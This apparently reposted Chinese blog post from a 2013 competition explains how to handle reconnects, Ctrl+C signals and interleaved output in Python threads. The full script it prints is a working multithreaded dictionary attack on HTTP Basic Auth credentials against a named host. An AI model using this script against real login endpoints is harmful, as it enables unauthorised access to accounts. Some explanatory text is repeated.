python 多线程服务器验证,实现断开重连,信号量解决主线程Ctrl+C不退出问题,多线程打印错行问题
2013-11-13 19:08
856 查看
最近在做一个比赛
有道题给了一个字典,user和pass都在字典中
服务器没有验证码
摆明了要用脚本跑username和password
顺便把以前想实现的给实现了。。
人生啊,不要拖拖拉拉
2、主线程按Ctrl+C,不能退出
3、多线程打印错行,不能老实的一行一行地打印
为了更加人性化,加入了两个标记变量i和j(也就是start_user和start_pass),标记从i和j处重新跑
主要用信号量的方法,分6个小步骤来解决就好了:
1、
定义一个全局变量:is_exit = False
2、
定义一个处理变量的函数:
在main函数中注册信号捕捉函数:
4、
在子线程函数,本例子中是login(),添加处理信号变更的处理:
5、
将子线程设置为后台运行
tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)
6、
修改tmpth.join()
为自定义的等待代码:
#for i in range(th_num):
# ths[i].join()
while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break
实际上结果是良好的:
看到没有,都不能老老实实得在一行行来吗?
然后在CSDN发帖子询问,得知要用:
sys.stdout.write(str+'\n')
代替:
print str
好吧,效果果然很不错,可以参照上上图(不是上图,我不是大舌头)
那么,为什么呢?
python shell 下help(print) ,它说print是输出到sys.stdout 中,也是调用write
一样的函数,不一样的效果,我怀疑是print没有维护一个buffer,而sys.stdout.write的时候有维护,导致了
前者竞争输出,后者有个缓冲区导致输出很规整。(以上纯属猜想,因为py文档英文也看不懂,网上也没有好资料,实验也不好做。。)
好吧,难道我会告诉你其实如果不考虑:
多线程,print,Ctrl+C,重连
我的代码会很短吗?
有道题给了一个字典,user和pass都在字典中
服务器没有验证码
摆明了要用脚本跑username和password
顺便把以前想实现的给实现了。。
人生啊,不要拖拖拉拉
零、遇到的问题:
1、脚本跑着跑着就断线了,怎么重连呢?2、主线程按Ctrl+C,不能退出
3、多线程打印错行,不能老实的一行一行地打印
一、脚本跑着跑着就断线了,怎么重连呢?
把多线程中的调用函数如def login()加一个try except,在except中重新调用login()即可为了更加人性化,加入了两个标记变量i和j(也就是start_user和start_pass),标记从i和j处重新跑
二、主线程按Ctrl+C,不能退出
这个Ctrl+C比较棘手,参考文章:http://my.oschina.net/apoptosis/blog/125099主要用信号量的方法,分6个小步骤来解决就好了:
1、
定义一个全局变量:is_exit = False
2、
定义一个处理变量的函数:
def handler(signum,frame): global is_exit is_exit = True tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit) sys.stdout.write(tstr)3、
在main函数中注册信号捕捉函数:
#修改is_exit信号,让子线程也能接受Ctrl+C #用函数signal注册一个信号捕捉函数,捕捉到后交给handle去处理 signal.signal(signal.SIGINT,handler) signal.signal(signal.SIGTERM,handler)
4、
在子线程函数,本例子中是login(),添加处理信号变更的处理:
#修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出 if is_exit: tstr = "thread"+str(index)+", receive a signal to exit...\n" sys.stdout.write(tstr) return
5、
将子线程设置为后台运行
tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)
6、
修改tmpth.join()
为自定义的等待代码:
#for i in range(th_num):
# ths[i].join()
while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break
实际上结果是良好的:
三、多线程打印错行,不能老实的一行一行地打印
错行的效果如下:看到没有,都不能老老实实得在一行行来吗?
然后在CSDN发帖子询问,得知要用:
sys.stdout.write(str+'\n')
代替:
print str
好吧,效果果然很不错,可以参照上上图(不是上图,我不是大舌头)
那么,为什么呢?
python shell 下help(print) ,它说print是输出到sys.stdout 中,也是调用write
一样的函数,不一样的效果,我怀疑是print没有维护一个buffer,而sys.stdout.write的时候有维护,导致了
前者竞争输出,后者有个缓冲区导致输出很规整。(以上纯属猜想,因为py文档英文也看不懂,网上也没有好资料,实验也不好做。。)
四、所有的代码
本来py就是强调精短,而我却弄这么多。。好吧,难道我会告诉你其实如果不考虑:
多线程,print,Ctrl+C,重连
我的代码会很短吗?
# -*- coding: cp936 -*-
import urllib
import httplib
import base64
import threading
import sys,os,time,signal
#导入dic字典
f = open('youcanfindit.dic','r')
dic = []
while True:
t = f.readline()
if not t:
break
dic.append(t.strip('\n'))
f.close()
#只需要输入th线程数量,程序自动配置后每个线程的case数
#比如某些高富帅的线程可以设置为100,我的最高只能40,否则内存就不够用了。。
#这里强调,不是线程越多越快,线程多,只是说开始办事的人很多,每个人平摊下来任务少了,没说任务效率变快
#请考虑py的调度,每个时刻只有一个线程在运行,调度的时间大大增多,这是个综合考虑的问题
th_num = 10
dic_len = len(dic)
case_in_th_num = dic_len/th_num
case_in_last_th_num = dic_len - th_num * case_in_th_num
#响应Ctrl+C
is_exit = False
def handler(signum,frame): global is_exit is_exit = True tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit) sys.stdout.write(tstr)
#支持断线重连,start_user 和 start_pass 标记了user和pass重连的位置
def login(index,start_user,start_pass):
global is_exit
if index == th_num-1:
name = dic[case_in_th_num*index:case_in_th_num*index+case_in_last_th_num]
else:
name = dic[100*index:100*index+100]
for i in range(start_user,len(name)):
for j in range(len(dic)):
#修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
if is_exit:
tstr = "thread"+str(index)+", receive a signal to exit...\n"
sys.stdout.write(tstr)
return
#记录断线的i(user)和j(pass),从i重新跑一遍,j依赖于i
if i == start_user:
if j < start_pass:
continue
name_pass = base64.b64encode(name[i]+':'+dic[j])
headers = {
'Host': 'wocao.ismilent.com',
'Connection': 'keep-alive',
'Cache-Control':'max-age=0',
'Authorization' : 'Basic '+name_pass,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8'
}
try:
conn = httplib.HTTPConnection('wocao.ismilent.com',80)
conn.request('GET','',None,headers)
res = conn.getresponse()
tstr = str(index)+","+str(i)+":"+str(j)+"--"+name[i]+":"+dic[j]+"\n"
sys.stdout.write(tstr)
if res.reason != 'Unauthorized':
print res
out = open('out.txt','w')
out.write(name[i]+":"+dic[j])
out.close()
print name[i],dic[j],'!!!!!!!!!!!!!Success!!!Finished...!!!!!!!!!!!!!'
exit(-2)
except:
#断线重连,记录i,j
#这里注意如果获取到了name和pass,那么会进去if res.reason != 'Unauthorized':中
#然后弹出个框框问你是否要结束,如果点击否,会触发异常
#进入这里的login,那么i,j又是原来的那个正确的user pass 又会问你是否退出,以下循环!
#这不是bug!!!
tstr = "reconnecting..."+str(i)+":"+str(j)+"\n"
sys.stdout.write(tstr)
#login(index,i,j)
if __name__ == '__main__':
#修改is_exit信号,让子线程也能接受Ctrl+C
signal.signal(signal.SIGINT,handler)
signal.signal(signal.SIGTERM,handler)
ths = []
for i in range(th_num):
print 'threading '+str(i)
tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)
ths.append(tmpth)
tmpth.start()
#for i in range(th_num):
# ths[i].join()
while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break
print '!!!!!!!!!!Sorry,find nothing,finished!!!!!!!!!'
相关文章推荐
- Python 中用 Ctrl+C 终止多线程程序的问题解决
- python多线程ctrl-c退出问题
- Python中用Ctrl+C终止多线程程序的问题解决
- python多线程ctrl-c退出问题
- 【Python笔记】Python多线程进程如何正确响应Ctrl-C以实现优雅退出
- Python中用Ctrl+C终止多线程程序的问题解决
- 使用Python SocketServer快速实现多线程网络服务器
- 黄聪:C#多线程教程(1):BeginInvoke和EndInvoke方法,解决主线程延时Thread.sleep柱塞问题(转)
- 使用Python实现Hadoop MapReduce程序遇到的问题解决办法
- 连接linphone的服务器实现来电通话的问题解决
- 【python】中文的输出,打印,文件编码问题解决方法
- android客户端通过Get方式提交参数给服务器,使用URL和HttpURLConnection实现,以及乱码问题解决
- Linux下安装MyEclipse和Tomcat服务器详解,以及我安装过程中所出现的问题以及解决办法,并实现一个web小程序
- [Python] Python 多线程 Envent 解决数据共享问题
- Operating System-进程/线程内部通信-信号量、PV操作的实现和应用(解决哲学家进餐和生产者消费者问题)
- linux下多线程服务器处理程序问题解决
- 解决ssh链接服务器超时自动断开的问题
- 用Python实现一个简单的多线程TCP服务器的教程
- 实现Python虚拟按键解决getch()的自动化测试问题
- JAVA基础再回首(二十四)——多线程的概述、实现方式、线程控制、生命周期、多线程程序练习、安全问题的解决